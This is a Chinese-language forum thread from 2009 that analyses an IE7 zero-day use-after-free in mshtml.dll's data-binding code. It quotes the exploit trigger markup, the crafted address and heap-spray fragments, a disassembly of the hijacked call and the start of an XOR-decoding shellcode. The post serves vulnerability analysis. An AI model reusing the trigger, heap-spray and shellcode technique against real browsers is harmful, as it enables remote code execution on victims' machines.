疯子 发表于 2009-1-16 14:32:32

呵呵,过来看看啦!

keivn2002dl 发表于 2009-1-16 14:02:00

IE7 0day漏洞分析

IE7 0day漏洞分析
0day代码片断
if(wxp||w2k3)document.write(&#39;<XML ID=I><X><C><!]><!]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>&#39;);

关键触发是由于这个Image SRC的字段的数据造成的
http://rਊr.book.com
mshtml.dll会对这个SRC作解析

r把十进制的114转成0x0072
ਊ把十进制的2570转成0x0a0a
刚好它们拼在一起就是一个可利用的堆地址
0x0a0a0072,通过heap spray,分配大量的内存
可使shellcode填充到这个地址空间去,所以我们可以修改这个值来构造我们
的地址,知道下面的
用意了吧,呵呵
var retVal=unescape(\"%u0a0a%u0a0a\");
aaablk=(0x0a0a0a0a-0x100000)/heapBlockSize;

它是怎么进入到0x0a0a0072这个地址的了,由于
重用了一个释放了的对象的造成可以执行我们自已构造的数据,具体代码如下
mshtml.dll CXfer::TransferFromSrc(void)
.text:461E3D18 public: long __thiscall CXfer::TransferFromSrc(void) proc near
.text:461E3D18 ; CODE XREF: CXfer::ColumnsChanged(ulong,ulong * const)+33 p
.text:461E3D18 ; CDataBindingEvents::TransferFromSrc(CElement *,long)+24 p ...
.text:461E3D18
.text:461E3D18 pvarg = VARIANTARG ptr -18h
.text:461E3D18 var_8 = dword ptr -8
.text:461E3D18 var_4 = dword ptr -4
.text:461E3D18
.text:461E3D18 mov edi, edi
.text:461E3D1A pushebp
.text:461E3D1B mov ebp, esp
.text:461E3D1D sub esp, 18h
.text:461E3D20 pushebx
.text:461E3D21 pushesi
.text:461E3D22 mov esi, ecx
.text:461E3D24 xor ebx, ebx
.text:461E3D26 testbyte ptr , 9
.text:461E3D2A jnz loc_461E3E2E

.text:461E3D30 mov eax, //eax==0x0a0a0072
.text:461E3D32 cmp eax, ebx
.text:461E3D34 jzloc_461E3E29
.text:461E3D3A cmp , ebx
.text:461E3D3D jzloc_461E3E29
.text:461E3D43 cmp , ebx
.text:461E3D46 jzloc_461E3E29
.text:461E3D4C mov ecx, //可能是eax==0x0a0a0a0a
.text:461E3D4E pushedi
.text:461E3D4F pusheax
.text:461E3D50 calldword ptr //call 0x0a0a0aae
.text:461E3D56 mov eax,
.text:461E3D59 mov edi, eax
.text:461E3D5B shr edi, 1

call 0x0a0a0aae会执行如下指令,一直执行直到执行到shellcode处

0A2BF9B60A0Aorcl, byte ptr
0A2BF9B80A0Aorcl, byte ptr
0A2BF9BA0A0Aorcl, byte ptr
0A2BF9BC0A0Aorcl, byte ptr
0A2BF9BE0A0Aorcl, byte ptr
0A2BF9C00A0Aorcl, byte ptr
0A2BF9C20A0Aorcl, byte ptr
0A2BF9C40A0Aorcl, byte ptr
0A2BF9C60A0Aorcl, byte ptr
0A2BF9C80A0Aorcl, byte ptr
0A2BF9CA0A0Aorcl, byte ptr
0A2BF9CC0A0Aorcl, byte ptr
0A2BF9CE0A0Aorcl, byte ptr
0A2BF9D00A0Aorcl, byte ptr
0A2BF9D20A0Aorcl, byte ptr
0A2BF9D40A0Aorcl, byte ptr
0A2BF9D60A0Aorcl, byte ptr
0A2BF9D80A0Aorcl, byte ptr
0A2BF9DA0A0Aorcl, byte ptr
0A2BF9DC0A0Aorcl, byte ptr
0A2BF9DE0A0Aorcl, byte ptr
0A2BF9E00A0Aorcl, byte ptr
0A2BF9E20A0Aorcl, byte ptr
0A2BF9E40A0Aorcl, byte ptr
0A2BF9E60A0Aorcl, byte ptr
0A2BF9E80A0Aorcl, byte ptr

0A2BF9EA90nop //shellcode
0A2BF9EB90nop
0A2BF9EC25 00750090 and eax, 90007500
0A2BF9F190nop
0A2BF9F290nop
0A2BF9F390nop
0A2BF9F4D9E1fabs
0A2BF9F6D93424fstenv (28-byte) ptr
0A2BF9F958pop eax
0A2BF9FA58pop eax
0A2BF9FB58pop eax
0A2BF9FC58pop eax
0A2BF9FD33DBxor ebx, ebx
0A2BF9FFB3 1C mov bl, 1C
0A2BFA0103C3add eax, ebx
0A2BFA0331C9xor ecx, ecx
0A2BFA0566:81E9 65FAsub cx, 0FA65
0A2BFA0A8030 21 xor byte ptr , 21
0A2BFA0D40inc eax
0A2BFA0E ^ E2 FA loopd short 0A2BFA0A
页: [1]
查看完整版本: IE7 0day漏洞分析